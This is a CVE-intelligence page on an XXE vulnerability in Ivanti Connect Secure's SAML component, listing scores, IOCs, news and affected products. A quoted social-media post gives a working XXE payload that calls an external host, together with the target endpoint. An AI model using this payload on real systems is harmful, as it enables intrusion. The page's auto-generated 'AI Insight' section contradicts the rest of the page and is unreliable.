CVE Radar Logo
CVERadar
CVE Radar Logo
CVERadar

CVE-2024-22024

Critical Severity
Ivanti
SVRS
81/100

CVSSv3
8.3/10

EPSS
0.9432/1

CVE-2024-22024 is a critical XML External Entity (XXE) vulnerability found in Ivanti Connect Secure, Ivanti Policy Secure, and ZTA gateways. This flaw allows unauthenticated attackers to access restricted resources. With an SVRS score of 81, indicating a high level of exploitability and active threat landscape presence, immediate action is crucial to mitigate potential risks. The SAML component is specifically affected. This vulnerability allows an attacker to potentially read sensitive files or cause denial of service. Given that it's already being exploited "In The Wild", organizations using affected Ivanti products must apply patches immediately. Failure to do so could result in significant data breaches and system compromise.

In The Wild
CVSS:3.1
AV:N
AC:L
PR:N
UI:N
S:C
C:L
I:L
A:L
2024-02-13

2024-02-13
Eye Icon
SOCRadar
AI Insight

Description:

CVE-2024-22024 is a vulnerability with a CVSS score of 0, indicating a low severity level. The detailed description of the vulnerability is not yet available. However, the SOCRadar Vulnerability Risk Score (SVRS) of 30 suggests that the vulnerability poses a moderate risk and requires attention.

Key Insights:

  1. Threat Actors/APT Groups: There is no information available regarding specific threat actors or APT groups actively exploiting this vulnerability.

  2. Exploit Status: The exploit status is currently unknown. It is essential to monitor security advisories and updates to determine if active exploits have been published.

  3. CISA Warnings: The Cybersecurity and Infrastructure Security Agency (CISA) has not issued any warnings or advisories regarding CVE-2024-22024.

  4. In the Wild: There is no information available to confirm whether the vulnerability is actively exploited in the wild.

Mitigation Strategies:

  1. Apply Software Updates: Organizations should prioritize applying software updates and patches as soon as they become available. This is a crucial step in mitigating vulnerabilities and reducing the risk of exploitation.

  2. Implement Network Segmentation: Implementing network segmentation can help contain the impact of a potential breach by limiting the attacker's lateral movement within the network.

  3. Enable Intrusion Detection and Prevention Systems (IDPS): Deploying IDPS can help detect and prevent unauthorized access attempts and malicious activities on the network.

  4. Conduct Regular Security Audits: Regularly conducting security audits can help identify vulnerabilities and misconfigurations that could be exploited by attackers.

Additional Information:

If users have additional queries regarding this incident, they can use the 'Ask to Analyst' feature, contact SOCRadar directly, or open a support ticket for more information if necessary.

Indicators of Compromise

TypeIndicatorDate
HASH
3d97f55a03ceb4f71671aa2ecf5b24e92024-03-20
HASH
677c1aa6e2503b56fe13e1568a8147542024-03-20
HASH
6de651357a15efd01db4e658249d49812024-03-20
HASH
d0c7a334a4d9dcd3c6335ae13bee59ea2024-03-20
HOSTNAME
gpoaccess.com2024-03-20
HOSTNAME
webb-institute.com2024-03-20

Exploits

No exploits found for this CVE

Enhance Your CVE Management with SOCRadar Vulnerability Intelligence
Get comprehensive CVE details, real-time notifications, and proactive threat management all in one platform.
CVE Details
Access comprehensive CVE information instantly
Real-time Tracking
Subscribe to CVEs and get instant updates
Exploit Analysis
Monitor related APT groups and threats
IOC Tracking
Analyze and track CVE-related IOCs

News

Scanning Activity for CVE-2024-22024 (XXE) Vulnerability in Ivanti
Sam Tinklenberg & Noam Atias2025-04-01
Scanning Activity for CVE-2024-22024 (XXE) Vulnerability in Ivanti
feedburner.com
rss
forum
news
ISC StormCast for Friday, February 9th, 2024
Dr. Johannes B. Ullrich2024-02-09
ISC StormCast for Friday, February 9th, 2024 | Daily 5 min cyber security news summary. News, patches, vulnerabilities and trends in information and network security. Podcast Aniversary; Keylogger MP3 Player; Fake LastPass; Ivanti Vuln; @sans_edu @SANSInstituteA Python MP3 Player With Builtin Keylogger Capability https://isc.sans.edu/diary/A%20Python%20MP3%20Player%20with%20Builtin%20Keylogger%20Capability/30632 Fake LastPass App in Apple App Store https://blog.lastpass.com/2024/02/warning-fraudulent-app-impersonating-lastpass-currently-available-in-apple-app-store/ Ivanti XXE Vulnerability https://forums.ivanti.com/s/article/CVE-2024-22024-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure FortiOS sslvpnd vulnerability<br
sans.edu
rss
forum
news
Neue Security Advisories für Ivanti Connect Secure &amp; Policy Secure und SonicWall SonicOS SSL-VPN
CERT.at2025-04-01
Neue Security Advisories für Ivanti Connect Secure &amp; Policy Secure und SonicWall SonicOS SSL-VPN | Neben den aktuellen Issues in FortiOS wurden diese Woche auch von SonicWall und Ivanti neue Security Advisories ver&ouml;ffentlicht. In beiden F&auml;llen handelt es sich um Probleme rund um die Authentifizierungs in den
cert.at
rss
forum
news
Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways
CISA2024-02-21
Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways | SUMMARY The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring
cve-2024-21887
cve-2024-21888
cve-2023-46805
cve-2024-22024
Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways - CISA
2024-02-29
Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways - CISA | News Content: SUMMARY The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations: Federal Bureau of Investigation (FBI) Multi-State Information Sharing &amp; Analysis Center
google.com
rss
forum
news
12th February – Threat Intelligence Report - Check Point Research
2024-02-12
12th February – Threat Intelligence Report - Check Point Research | News Content: For the latest discoveries in cyber research for the week of 12th February, please download our Threat_Intelligence Bulletin. TOP ATTACKS AND BREACHES One of the largest unions in California, Service Employees International Union (SEIU) Local 1000, has confirmed a ransomware attack that led to network disruption. The LockBit ransomware gang has assumed responsibility, claiming to have stolen 308GB of data including sensitive employee information such as Social Security numbers, salary information, financial documents and more. Check Point Harmony Endpoint and Threat Emulation provide protection against this threat (Ransomware.Wins.LockBit.ta; Ransomware.Win.Lockbit
google.com
rss
forum
news
Ivanti Flaw Exploited in CISA Cyberattack: Patch Now - The Cyber Express
2024-03-20
Ivanti Flaw Exploited in CISA Cyberattack: Patch Now - The Cyber Express | News Content: Unknown hackers exploited vulnerabilities in Ivanti software to infiltrate the Cybersecurity and Infrastructure Security Agency (CISA), leading to a significant breach of its networks. This CISA cyberattack forced the agency to shut down key systems in response to the breach. As the primary guardian of infrastructure and cybersecurity for the entire US government, CISA’s targeting underscores the sophistication of the attack. Approximately a month ago, CISA detected concerning activity indicating that its vital software, Ivanti products, were being leveraged for exploitation. CISA Cyberattack Recovery The Cyber
google.com
rss
forum
news

Social Media

🚨 CVE-2024-22024 - XXE on Ivanti Connect Secure 👉 Scanner Download: https://t.co/tJM7nTV9l6 #bugbounty #cve #bugbountytips #hackers
0
0
1
CVE-2024-22024, XXE on Ivanti Connect Secure payload encoded base64: &lt;?xml version="1.0" ?&gt;&lt;!DOCTYPE root [&lt;!ENTITY % xxe SYSTEM "http://{{external-host}}/x"&gt; %xxe;]&gt;&lt;r&gt;&lt;/r&gt; send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm credit: @h4x0r_dz #BugBounty https://t.co/PkFf3F47m6
0
1
1

Affected Software

Configuration 1
TypeVendorProduct
AppIvanticonnect_secure
Configuration 2
TypeVendorProduct
AppIvantipolicy_secure
Configuration 3
TypeVendorProduct
AppIvantizero_trust_access

References

ReferenceLink
[email protected]https://forums.ivanti.com/s/article/CVE-2024-22024-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US

CWE Details

CWE IDCWE NameDescription
CWE-611Improper Restriction of XML External Entity ReferenceThe software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

CVE Radar

Real-time CVE Intelligence & Vulnerability Management Platform

CVE Radar provides comprehensive vulnerability intelligence by monitoring CVE databases, security advisories, and threat feeds. Get instant updates on new vulnerabilities, exploit details, and mitigation strategies specific to your assets.

Get Free Vulnerability Intelligence AccessAccess real-time CVE monitoring, exploit analysis, and threat intelligence